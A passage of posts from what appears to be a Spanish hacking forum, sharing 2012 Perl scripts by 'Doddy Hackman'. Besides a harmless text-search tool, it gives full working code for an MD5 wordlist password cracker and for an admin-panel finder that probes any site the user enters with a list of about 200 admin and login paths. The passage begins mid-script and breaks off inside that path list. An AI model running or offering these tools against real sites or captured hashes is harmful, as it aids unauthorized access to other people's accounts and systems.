@   @              @                            @   @  @           @ @     
@    @             @                            @      @           @ @     
@    @   @@@   @@  @@ @@  @@@  @  @  @@@  @@    @      @ @@   @@@  @ @  @@
@    @  @   @ @  @ @  @  @   @ @  @ @   @ @      @@@   @@  @ @   @ @ @ @  @
@    @  @@@@@  @   @  @  @   @ @  @ @@@@@ @         @  @   @ @@@@@ @ @  @ 
@    @  @       @  @  @  @   @ @  @ @     @         @  @   @ @     @ @   @
@   @   @   @ @  @ @  @  @   @  @@  @   @ @     @   @  @   @ @   @ @ @ @  @
@@@@     @@@   @@   @ @   @@@   @    @@@  @      @@@   @   @  @@@  @ @  @@
                                 @                                         
                               @@                                           



);
}

sub copyright {
    print "\n\n-- == Doddy Hackman 2012 == --\n\n";
    <stdin>;
    exit(1);
}

# The End ?
#241
Scripting / [Perl Tk] Finder Text 0.2
23 Junio 2012, 18:16 PM
Version Tk de un programa para buscar patrones en cualquier directorio.

Una imagen



El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#Finder Text 0.2
#Version Tk
#Coded By Doddy H

use Tk;

my $color_fondo = "black";
my $color_texto = "green";

#if ($^O eq 'MSWin32') {
#use Win32::Console;
#Win32::Console::Free();
#}

my $vent =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$vent->title("Finder Text 0.2 (C) Doddy Hackman 2012");
$vent->geometry("395x440+20+20");
$vent->resizable( 0, 0 );

$vent->Label(
    -text       => "Directory : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 20 );
my $dir = $vent->Entry(
    -width      => 40,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 100, -y => 23 );

$vent->Label(
    -text       => "String : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 50 );
my $string = $vent->Entry(
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 80, -y => 53 );

$vent->Button(
    -text             => "Find",
    -command          => \&now,
    -width            => 11,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->place( -x => 271, -y => 53 );

$vent->Label(
    -text       => "Files Found",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 150, -y => 100 );
my $listas = $vent->Listbox(
    -width      => 50,
    -height     => 15,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 45, -y => 150 );

$vent->Label(
    -text       => "Status : ",
    -font       => "Impact1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 70, -y => 390 );
my $tatus = $vent->Entry(
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 130, -y => 393 );

$listas->bind( "<Double-1>", [ \&loader ] );

MainLoop;

sub loader {
    $listasx = $listas->curselection();
    for my $id (@$listasx) {
        my $linkar = $listas->get($id);
        system("$linkar");
    }
}

sub now {
    $listas->delete( "0.0", "end" );
    goodbye( $dir->get, $string->get );
    $tatus->configure( -text => " " );
}

sub verificar {

    my ( $file, $text ) = @_;
    my $numero_linea = 0;

    open( FILE, $file );
    my @words = <FILE>;
    close FILE;

    chomp @words;

    for my $linea (@words) {
        chomp $linea;
        $numero_linea++;
        if ( $linea =~ /$text/ ) {
            $listas->insert( "end", $file );
        }
    }
}

sub goodbye {
    opendir DIR, $_[0];
    my @archivos = readdir DIR;
    close DIR;

    for (@archivos) {
        next if $_ eq "." or $_ eq "..";
        my $fichero = $_[0] . "/" . $_;

        if ( -f $fichero ) {
            $vent->update;
            $tatus->configure( -text => $fichero );
            verificar( $fichero, $_[1] );
        }

        if ( -d $fichero ) {
            &goodbye( $fichero, $_[1] );
        }
    }
}

#The End ?

#242
Scripting / [Perl] Finder Text 0.2
23 Junio 2012, 18:15 PM
Simple script para buscar patrones en cualquier directorio.

Código (perl) [Seleccionar]

#!usr/bin/perl
#FinderText 0.2
#Coded by Doddy H

head();
print "[+] Directory : ";
chomp( my $dir = <stdin> );
print "\n[+] String : ";
chomp( my $string = <stdin> );
print "\n[+] Searching text\n\n";
goodbye( $dir, $string );
copyright();

sub verificar {

    my ( $file, $text ) = @_;
    my $numero_linea = 0;

    open( FILE, $file );
    my @words = <FILE>;
    close FILE;

    chomp @words;

    for my $linea (@words) {
        chomp $linea;
        $numero_linea++;
        if ( $linea =~ /$text/ ) {
            print "[+] Text $text Found in file $file in line $numero_linea\n";
        }
    }
}

sub goodbye {
    opendir DIR, $_[0];
    my @archivos = readdir DIR;
    close DIR;

    for (@archivos) {
        next if $_ eq "." or $_ eq "..";
        my $fichero = $_[0] . "/" . $_;

        if ( -f $fichero ) {
            verificar( $fichero, $_[1] );
        }

        if ( -d $fichero ) {
            &goodbye( $fichero, $_[1] );
        }
    }
}

sub head {

    print qq(


@@@@@ @           @             @@@@@               
@                 @               @               @
@                 @               @               @
@     @ @ @@   @@@@  @@@  @@      @     @@@  @  @ @@
@@@@  @ @@  @ @   @ @   @ @       @    @   @ @  @ @
@     @ @   @ @   @ @@@@@ @       @    @@@@@  @@  @
@     @ @   @ @   @ @     @       @    @      @@  @
@     @ @   @ @   @ @   @ @       @    @   @ @  @ @
@     @ @   @  @@@@  @@@  @       @     @@@  @  @  @



);

}

sub copyright {
    print "\n\n-- == Doddy Hackman 2012 == --\n\n";
    <stdin>;
    exit(1);
}

# The End ?
#243
Scripting / [Perl Tk] MD5 Crack 0.2
16 Junio 2012, 20:21 PM
Version Tk de un programa para crackear un hash MD5

Una imagen



Y el codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#MD5 Crack 0.2
#Version Tk
#Coded By Doddy H
#Test with
#098f6bcd4621d373cade4e832627b4f6 : test
#cc03e747a6afbbcbf8be7668acfebee5 : test.123
#1943b8b39ca8df2919faff021e0aca98 : testar
#177dac170d586383bcc889602b2bb788 : testar.123

use Tk;
use Tk::Dialog;
use Tk::FileSelect;
use Cwd;
use Digest::MD5 qw(md5_hex);

#if ($^O eq 'MSWin32') {
#use Win32::Console;
#Win32::Console::Free();
#}

my $color_texto = "yellow";
my $color_fondo = "black";

my $kak =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );

$kak->title("MD5 Crack T00l 0.2");
$kak->geometry("300x410+50+50");
$kak->resizable( 0, 0 );

$menulax = $kak->Frame(
    -relief     => "sunken",
    -bd         => 1,
    -background => $color_fondo,
    -foreground => $color_texto
);
my $menulnowaxmu = $menulax->Menubutton(
    -text             => "Options",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $aboutnowaxmu = $menulax->Menubutton(
    -text             => "About",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $exitnowaxmu = $menulax->Menubutton(
    -text             => "Exit",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
$menulax->pack( -side => "top", -fill => "x" );

$menulnowaxmu->command(
    -label      => "Crack Hash",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&crackhash
);
$menulnowaxmu->command(
    -label      => "Crack Wordlist",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&crackhashes
);
$menulnowaxmu->command(
    -label      => "Load hashes",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&bronafar
);
$menulnowaxmu->command(
    -label      => "Load file",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&bronaf
);
$menulnowaxmu->command(
    -label      => "Open Logs",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&openlogska
);

$aboutnowaxmu->command(
    -label      => "About",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&aboutxam
);

$exitnowaxmu->command(
    -label      => "Exit",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&exitnowm
);

$kak->Label(
    -text       => "Hash : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 40 );
my $md5 = $kak->Entry(
    -width      => 33,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 70, -y => 45 );

$kak->Label(
    -text       => "File : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 22, -y => 70 );
my $word = $kak->Entry(
    -width      => 34,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 63, -y => 75 );

$kak->Label(
    -text       => "Salt : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 22, -y => 100 );
my $salt = $kak->Entry(
    -width      => 34,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 63, -y => 105 );

$kak->Label(
    -text       => "Hashes Found",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 90, -y => 150 );
my $ha = $kak->Listbox(
    -width      => 40,
    -height     => 10,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 25, -y => 190 );

$kak->Label(
    -text       => "Status : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 37, -y => 360 );
my $tatus = $kak->Entry(
    -width      => 25,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 95, -y => 365 );

MainLoop;

sub crackhashes {

    $ha->delete( "0.0", "end" );
    $tatus->configure( -text => " " );

    my $file     = $md5->get;
    my $wordlist = $word->get;
    my $salt     = $salt->get;

    my @hashes = openwordlist($file);

    my $formar;

    for my $md5 (@hashes) {
        chomp $md5;
        my $formar = $md5;

        if ( ver_length($md5) ) {

            my @words = openwordlist($wordlist);

            for my $word (@words) {
                chomp $word;
                $kak->update;
                my $formardos;

                if ( $salt eq "" ) {
                    $formardos = md5_hex($word);
                }
                else {
                    $formardos = md5_hex( $word . $salt );

                }

                if ( $formar eq $formardos ) {
                    $ha->insert( "end", $formar . ":" . $word );
                    $tatus->configure( -text => $word );
                    savefile( "md5-found.txt", $formar . ":" . $word );
                    last;
                }
                else {
                    $tatus->configure( -text => $word );
                }
            }
        }
        else {
            $kak->Dialog(
                -title            => "Error",
                -buttons          => ["OK"],
                -text             => "Hash invalid",
                -background       => $color_fondo,
                -foreground       => $color_texto,
                -activebackground => $color_texto
            )->Show();
            last;
        }
    }
}

sub crackhash {

    $ha->delete( "0.0", "end" );
    $tatus->configure( -text => " " );

    my $md5      = $md5->get;
    my $wordlist = $word->get;
    my $salt     = $salt->get;

    my $formar = $md5;

    if ( ver_length($md5) ) {

        my @words = openwordlist($wordlist);

        for my $word (@words) {
            chomp $word;
            $kak->update;
            my $formardos;

            if ( $salt eq "" ) {
                $formardos = md5_hex($word);
            }
            else {
                $formardos = md5_hex( $word . $salt );
            }

            if ( $formar eq $formardos ) {
                $tatus->configure( -text => $word );
                $ha->insert( "end", $formar . ":" . $word );
                savefile( "md5-found.txt", $formar . ":" . $word );
                last;
            }
            else {
                $tatus->configure( -text => $word );
            }
        }
    }
    else {
        $kak->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "Hash invalid",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -activebackground => $color_texto
        )->Show();
    }
}

sub ver_length {
    return true if length( $_[0] ) == 32;
}

sub openwordlist {

    my ( $file, $tipo ) = @_;

    unless ( -f $file ) {
        $kak->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "File not found",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -activebackground => $color_texto
        )->Show();
        last;
    }

    open( FILE, $file );
    my @words = <FILE>;
    close FILE;

    return @words;

}

sub bronafar {
    $kak->update;
    $browse = $kak->FileSelect( -directory => getcwd() );
    my $file = $browse->Show;
    $md5->configure( -text => $file );
}

sub bronaf {
    $kak->update;
    $browse = $kak->FileSelect( -directory => getcwd() );
    my $file = $browse->Show;
    $word->configure( -text => $file );
}

sub openlogska {
    my $f = "md5-found.txt";
    if ( -f $f ) {
        system($f);
    }
    else {
        $kak->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "File Not Found",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -activebackground => $color_texto
        )->Show();
    }
}

sub aboutxam {
    $kak->Dialog(
        -title            => "About",
        -buttons          => ["OK"],
        -text             => "Coded By Doddy H",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -activebackground => $color_texto
    )->Show();
}

sub exitnowm {
    exit 1;
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

#The End ?

#244
Scripting / [Perl] MD5 Crack 0.2
16 Junio 2012, 20:21 PM
Simple script para crackear un hash MD5 mediante un diccionario.

Código (perl) [Seleccionar]

#!usr/bin/perl
#MD5 Crack 0.2
#Coded By Doddy H
#Test with
#098f6bcd4621d373cade4e832627b4f6 : test
#cc03e747a6afbbcbf8be7668acfebee5 : test.123
#1943b8b39ca8df2919faff021e0aca98 : testar
#177dac170d586383bcc889602b2bb788 : testar.123

use Digest::MD5 qw(md5_hex);

head();
while (1) {
    print qq(

[++] Options

[+] 1 : Crack hash
[+] 2 : Crack hashes

);
    print "\n[+] Option : ";
    chomp( my $op = <stdin> );

    if ( $op eq "1" ) {
        print "\n[+] MD5 : ";
        chomp( my $md5 = <stdin> );
        print "\n[+] Salt : ";
        chomp( my $salt = <stdin> );
        print "\n[+] Wordlist : ";
        chomp( my $wordlist = <stdin> );
        crackhash( $md5, $salt, $wordlist );
    }
    elsif ( $op eq "2" ) {
        print "\n[+] File : ";
        chomp( my $md5 = <stdin> );
        print "\n[+] Salt : ";
        chomp( my $salt = <stdin> );
        print "\n[+] Wordlist : ";
        chomp( my $wordlist = <stdin> );
        crackhashes( $md5, $salt, $wordlist );
    }
    else {
        print "\n\n[-] Bad option\n";
    }

}
copyright();

sub crackhashes {

    my ( $file, $salt, $wordlist ) = @_;
    my @hashes = openwordlist($file);

    my $formar;

    for my $md5 (@hashes) {
        chomp $md5;
        my $formar = $md5;

        if ( ver_length($md5) ) {

            my @words = openwordlist($wordlist);

            print "[+] Cracking ....\n\n";

            for my $word (@words) {
                chomp $word;

                my $formardos;

                if ( $salt eq "" ) {
                    $formardos = md5_hex($word);
                }
                else {
                    $formardos = md5_hex( $word . $salt );

                }

                if ( $formar eq $formardos ) {
                    print "\n\a[+] Cracked : " . $formar . ":" . $word . "\n";
                    savefile( "md5-found.txt", $formar . ":" . $word );
                    last;
                }
                else {
                    print $formar. " =! " . $formardos . "\n";
                }
            }
        }
        else {
            print "\n[-] Hash invalid";
            last;
        }
    }
}

sub crackhash {

    my ( $md5, $salt, $wordlist ) = @_;
    my $formar = $md5;

    if ( ver_length($md5) ) {

        my @words = openwordlist($wordlist);

        print "[+] Cracking ....\n\n";

        for my $word (@words) {
            chomp $word;

            my $formardos;

            if ( $salt eq "" ) {
                $formardos = md5_hex($word);
            }
            else {
                $formardos = md5_hex( $word . $salt );
            }

            if ( $formar eq $formardos ) {
                print "\n\a[+] Cracked : " . $formar . ":" . $word . "\n";
                savefile( "md5-found.txt", $formar . ":" . $word );
                copyright();
            }
            else {
                print $formar. " =! " . $formardos . "\n";
            }
        }

    }
    else {
        print "\n[-] Hash invalid";
    }

}

sub ver_length {
    return true if length( $_[0] ) == 32;
}

sub openwordlist {

    my ( $file, $tipo ) = @_;

    print "\n[+] Opening file\n\n";

    unless ( -f $file ) {
        print "\n[-] File not found\n";
        copyright();
    }

    open( FILE, $file );
    my @words = <FILE>;
    close FILE;

    print "[+] Words Found : " . int(@words) . "\n\n";

    return @words;

}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub head {
    print qq(


@     @  @@@@    @@@@@     @@@@  @@@@@     @     @@@@  @   @
@     @  @   @   @        @    @ @    @    @    @    @ @  @ 
@@   @@  @    @  @        @      @    @   @ @   @      @ @   
@@   @@  @    @  @@@@     @      @    @   @ @   @      @@   
@ @ @ @  @    @  @   @    @      @@@@@   @   @  @      @@   
@ @ @ @  @    @      @    @      @    @  @   @  @      @ @   
@  @  @  @    @      @    @      @    @  @@@@@  @      @  @ 
@  @  @  @   @   @   @    @    @ @    @ @     @ @    @ @   @
@     @  @@@@     @@@      @@@@  @    @ @     @  @@@@  @    @



);
}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2012\n\n";
    <stdin>;
    exit(1);
}

#The End ?
#245
Scripting / [Perl Tk] Panel Control 0.3
9 Junio 2012, 16:33 PM
Version Tk de un programa en Perl para buscar el famoso panel de admin.

Una imagen



El codigo

Código (perl) [Seleccionar]

#!usr/bin/perl
#Panel Control 0.3
#Version Tk
#Coded By Doddy H
#The arrays are a collection of several I found on the web

use Tk;
use Tk::Dialog;
use LWP::UserAgent;

my @paneles = (
    'admin/admin.asp',               'admin/login.asp',
    'admin/index.asp',               'admin/admin.aspx',
    'admin/login.aspx',              'admin/index.aspx',
    'admin/webmaster.asp',           'admin/webmaster.aspx',
    'asp/admin/index.asp',           'asp/admin/index.aspx',
    'asp/admin/admin.asp',           'asp/admin/admin.aspx',
    'asp/admin/webmaster.asp',       'asp/admin/webmaster.aspx',
    'admin/',                        'login.asp',
    'login.aspx',                    'admin.asp',
    'admin.aspx',                    'webmaster.aspx',
    'webmaster.asp',                 'login/index.asp',
    'login/index.aspx',              'login/login.asp',
    'login/login.aspx',              'login/admin.asp',
    'login/admin.aspx',              'administracion/index.asp',
    'administracion/index.aspx',     'administracion/login.asp',
    'administracion/login.aspx',     'administracion/webmaster.asp',
    'administracion/webmaster.aspx', 'administracion/admin.asp',
    'administracion/admin.aspx',     'php/admin/',
    'admin/admin.php',               'admin/index.php',
    'admin/login.php',               'admin/system.php',
    'admin/ingresar.php',            'admin/administrador.php',
    'admin/default.php',             'administracion/',
    'administracion/index.php',      'administracion/login.php',
    'administracion/ingresar.php',   'administracion/admin.php',
    'administration/',               'administration/index.php',
    'administration/login.php',      'administrator/index.php',
    'administrator/login.php',       'administrator/system.php',
    'system/',                       'system/login.php',
    'admin.php',                     'login.php',
    'administrador.php',             'administration.php',
    'administrator.php',             'admin1.html',
    'admin1.php',                    'admin2.php',
    'admin2.html',                   'yonetim.php',
    'yonetim.html',                  'yonetici.php',
    'yonetici.html',                 'adm/',
    'admin/account.php',             'admin/account.html',
    'admin/index.html',              'admin/login.html',
    'admin/home.php',                'admin/controlpanel.html',
    'admin/controlpanel.php',        'admin.html',
    'admin/cp.php',                  'admin/cp.html',
    'cp.php',                        'cp.html',
    'administrator/',                'administrator/index.html',
    'administrator/login.html',      'administrator/account.html',
    'administrator/account.php',     'administrator.html',
    'login.html',                    'modelsearch/login.php',
    'moderator.php',                 'moderator.html',
    'moderator/login.php',           'moderator/login.html',
    'moderator/admin.php',           'moderator/admin.html',
    'moderator/',                    'account.php',
    'account.html',                  'controlpanel/',
    'controlpanel.php',              'controlpanel.html',
    'admincontrol.php',              'admincontrol.html',
    'adminpanel.php',                'adminpanel.html',
    'admin1.asp',                    'admin2.asp',
    'yonetim.asp',                   'yonetici.asp',
    'admin/account.asp',             'admin/home.asp',
    'admin/controlpanel.asp',        'admin/cp.asp',
    'cp.asp',                        'administrator/index.asp',
    'administrator/login.asp',       'administrator/account.asp',
    'administrator.asp',             'modelsearch/login.asp',
    'moderator.asp',                 'moderator/login.asp',
    'moderator/admin.asp',           'account.asp',
    'controlpanel.asp',              'admincontrol.asp',
    'adminpanel.asp',                'fileadmin/',
    'fileadmin.php',                 'fileadmin.asp',
    'fileadmin.html',                'administration.html',
    'sysadmin.php',                  'sysadmin.html',
    'phpmyadmin/',                   'myadmin/',
    'sysadmin.asp',                  'sysadmin/',
    'ur-admin.asp',                  'ur-admin.php',
    'ur-admin.html',                 'ur-admin/',
    'Server.php',                    'Server.html',
    'Server.asp',                    'Server/',
    'wp-admin/',                     'administr8.php',
    'administr8.html',               'administr8/',
    'administr8.asp',                'webadmin/',
    'webadmin.php',                  'webadmin.asp',
    'webadmin.html',                 'administratie/',
    'admins/',                       'admins.php',
    'admins.asp',                    'admins.html',
    'administrivia/',                'Database_Administration/',
    'WebAdmin/',                     'useradmin/',
    'sysadmins/',                    'admin1/',
    'system-administration/',        'administrators/',
    'pgadmin/',                      'directadmin/',
    'staradmin/',                    'ServerAdministrator/',
    'SysAdmin/',                     'administer/',
    'LiveUser_Admin/',               'sys-admin/',
    'typo3/',                        'panel/',
    'cpanel/',                       'cPanel/',
    'cpanel_file/',                  'platz_login/',
    'rcLogin/',                      'blogindex/',
    'formslogin/',                   'autologin/',
    'support_login/',                'meta_login/',
    'manuallogin/',                  'simpleLogin/',
    'loginflat/',                    'utility_login/',
    'showlogin/',                    'memlogin/',
    'members/',                      'login-redirect/',
    'sub-login/',                    'wp-login/',
    'login1/',                       'dir-login/',
    'login_db/',                     'xlogin/',
    'smblogin/',                     'customer_login/',
    'UserLogin/',                    'login-us/',
    'acct_login/',                   'admin_area/',
    'bigadmin/',                     'project-admins/',
    'phppgadmin/',                   'pureadmin/',
    'sql-admin/',                    'radmind/',
    'openvpnadmin/',                 'wizmysqladmin/',
    'vadmind/',                      'ezsqliteadmin/',
    'hpwebjetadmin/',                'newsadmin/',
    'adminpro/',                     'Lotus_Domino_Admin/',
    'bbadmin/',                      'vmailadmin/',
    'Indy_admin/',                   'ccp14admin/',
    'irc-macadmin/',                 'banneradmin/',
    'sshadmin/',                     'phpldapadmin/',
    'macadmin/',                     'administratoraccounts/',
    'admin4_account/',               'admin4_colon/',
    'radmind-1/',                    'Super-Admin/',
    'AdminTools/',                   'cmsadmin/',
    'SysAdmin2/',                    'globes_admin/',
    'cadmins/',                      'phpSQLiteAdmin/',
    'navSiteAdmin/',                 'server_admin_small/',
    'logo_sysadmin/',                'server/',
    'database_administration/',      'power_user/',
    'system_administration/',        'ss_vms_admin_sm/'
);

my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);

#if ($^O eq 'MSWin32') {
#use Win32::Console;
#Win32::Console::Free();
#}

my $color_texto = "red";
my $color_fondo = "black";

my $newdaxz =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );

$newdaxz->title("Panel Control 0.3 || Coded By Doddy H");
$newdaxz->geometry("345x350+50+50");
$newdaxz->resizable( 0, 0 );

$menula = $newdaxz->Frame(
    -relief     => "sunken",
    -bd         => 1,
    -background => $color_fondo,
    -foreground => $color_texto
);
my $menulnowaxm = $menula->Menubutton(
    -text             => "Options",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $aboutnowaxm = $menula->Menubutton(
    -text             => "About",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $exitnowaxm = $menula->Menubutton(
    -text             => "Exit",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
$menula->pack( -side => "top", -fill => "x" );

$menulnowaxm->command(
    -label      => "Scan",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&findpanel
);
$menulnowaxm->command(
    -label      => "Open Logs",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&openlogsk
);

$aboutnowaxm->command(
    -label      => "About",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&aboutxa
);

$exitnowaxm->command(
    -label      => "Exit",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&exitnow
);

$newdaxz->Label(
    -text       => "Page : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 40 );
my $paget = $newdaxz->Entry(
    -width      => 40,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 70, -y => 45 );

$newdaxz->Label(
    -text       => "Panels Found",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 120, -y => 80 );
my $admins = $newdaxz->Listbox(
    -width      => 40,
    -height     => 10,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 50, -y => 130 );

$newdaxz->Label(
    -text       => "Status : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 63, -y => 300 );
my $tatus = $newdaxz->Entry(
    -width      => 25,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 120, -y => 305 );

$admins->bind( "<Double-1>", [ \&loader ] );

MainLoop;

sub findpanel {
    my $hage = $paget->get;
    $admins->delete( "0.0", "end" );
    $tatus->configure( -text => "Starting" );
    for my $path (@paneles) {
        $newdaxz->update;
        $tatus->configure( -text => $path );
        $code = tomados( $hage . "/" . $path );
        if ( $code->is_success ) {
            $controlt = 1;
            $admins->insert( "end", $hage . "/" . $path );
            savefile( "admins-founds.txt", $hage . "/" . $path );
        }
    }

    if ( $controlt ne 1 ) {
        $newdaxz->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "Not found anything",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -activebackground => $color_texto
        )->Show();
    }
    $tatus->configure( -text => "Finished" );
}

sub loader {
    $adminsa = $admins->curselection();
    for my $id (@$adminsa) {
        my $linkar = $admins->get($id);
        system("start firefox $linkar");
    }
}

sub openlogsk {
    my $f = "admins-founds.txt";
    if ( -f $f ) {
        system($f);
    }
    else {
        $newdaxz->Dialog(
            -title            => "Error",
            -buttons          => ["OK"],
            -text             => "File Not Found",
            -background       => $color_fondo,
            -foreground       => $color_texto,
            -activebackground => $color_texto
        )->Show();
    }
}

sub aboutxa {
    $newdaxz->Dialog(
        -title            => "About",
        -buttons          => ["OK"],
        -text             => "Coded By Doddy H",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -activebackground => $color_texto
    )->Show();
}

sub exitnow {
    exit 1;
}

sub savefile {
    open( SAVE, ">>" . $_[0] );
    print SAVE $_[1] . "\n";
    close SAVE;
}

sub tomados {
    return $nave->get( $_[0] );
}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

#The End ?
#246
Scripting / [Perl] Panel Control 0.3
9 Junio 2012, 16:33 PM
Simple script para buscar el famoso panel de administracion.

Código (perl) [Seleccionar]

#!usr/bin/perl
#Panel Control 0.3
#Coded By Doddy H
#The arrays are a collection of several I found on the web

my @paneles = (
    'admin/admin.asp',               'admin/login.asp',
    'admin/index.asp',               'admin/admin.aspx',
    'admin/login.aspx',              'admin/index.aspx',
    'admin/webmaster.asp',           'admin/webmaster.aspx',
    'asp/admin/index.asp',           'asp/admin/index.aspx',
    'asp/admin/admin.asp',           'asp/admin/admin.aspx',
    'asp/admin/webmaster.asp',       'asp/admin/webmaster.aspx',
    'admin/',                        'login.asp',
    'login.aspx',                    'admin.asp',
    'admin.aspx',                    'webmaster.aspx',
    'webmaster.asp',                 'login/index.asp',
    'login/index.aspx',              'login/login.asp',
    'login/login.aspx',              'login/admin.asp',
    'login/admin.aspx',              'administracion/index.asp',
    'administracion/index.aspx',     'administracion/login.asp',
    'administracion/login.aspx',     'administracion/webmaster.asp',
    'administracion/webmaster.aspx', 'administracion/admin.asp',
    'administracion/admin.aspx',     'php/admin/',
    'admin/admin.php',               'admin/index.php',
    'admin/login.php',               'admin/system.php',
    'admin/ingresar.php',            'admin/administrador.php',
    'admin/default.php',             'administracion/',
    'administracion/index.php',      'administracion/login.php',
    'administracion/ingresar.php',   'administracion/admin.php',
    'administration/',               'administration/index.php',
    'administration/login.php',      'administrator/index.php',
    'administrator/login.php',       'administrator/system.php',
    'system/',                       'system/login.php',
    'admin.php',                     'login.php',
    'administrador.php',             'administration.php',
    'administrator.php',             'admin1.html',
    'admin1.php',                    'admin2.php',
    'admin2.html',                   'yonetim.php',
    'yonetim.html',                  'yonetici.php',
    'yonetici.html',                 'adm/',
    'admin/account.php',             'admin/account.html',
    'admin/index.html',              'admin/login.html',
    'admin/home.php',                'admin/controlpanel.html',
    'admin/controlpanel.php',        'admin.html',
    'admin/cp.php',                  'admin/cp.html',
    'cp.php',                        'cp.html',
    'administrator/',                'administrator/index.html',
    'administrator/login.html',      'administrator/account.html',
    'administrator/account.php',     'administrator.html',
    'login.html',                    'modelsearch/login.php',
    'moderator.php',                 'moderator.html',
    'moderator/login.php',           'moderator/login.html',
    'moderator/admin.php',           'moderator/admin.html',
    'moderator/',                    'account.php',
    'account.html',                  'controlpanel/',
    'controlpanel.php',              'controlpanel.html',
    'admincontrol.php',              'admincontrol.html',
    'adminpanel.php',                'adminpanel.html',
    'admin1.asp',                    'admin2.asp',
    'yonetim.asp',                   'yonetici.asp',
    'admin/account.asp',             'admin/home.asp',
    'admin/controlpanel.asp',        'admin/cp.asp',
    'cp.asp',                        'administrator/index.asp',
    'administrator/login.asp',       'administrator/account.asp',
    'administrator.asp',             'modelsearch/login.asp',
    'moderator.asp',                 'moderator/login.asp',
    'moderator/admin.asp',           'account.asp',
    'controlpanel.asp',              'admincontrol.asp',
    'adminpanel.asp',                'fileadmin/',
    'fileadmin.php',                 'fileadmin.asp',
    'fileadmin.html',                'administration.html',
    'sysadmin.php',                  'sysadmin.html',
    'phpmyadmin/',                   'myadmin/',
    'sysadmin.asp',                  'sysadmin/',
    'ur-admin.asp',                  'ur-admin.php',
    'ur-admin.html',                 'ur-admin/',
    'Server.php',                    'Server.html',
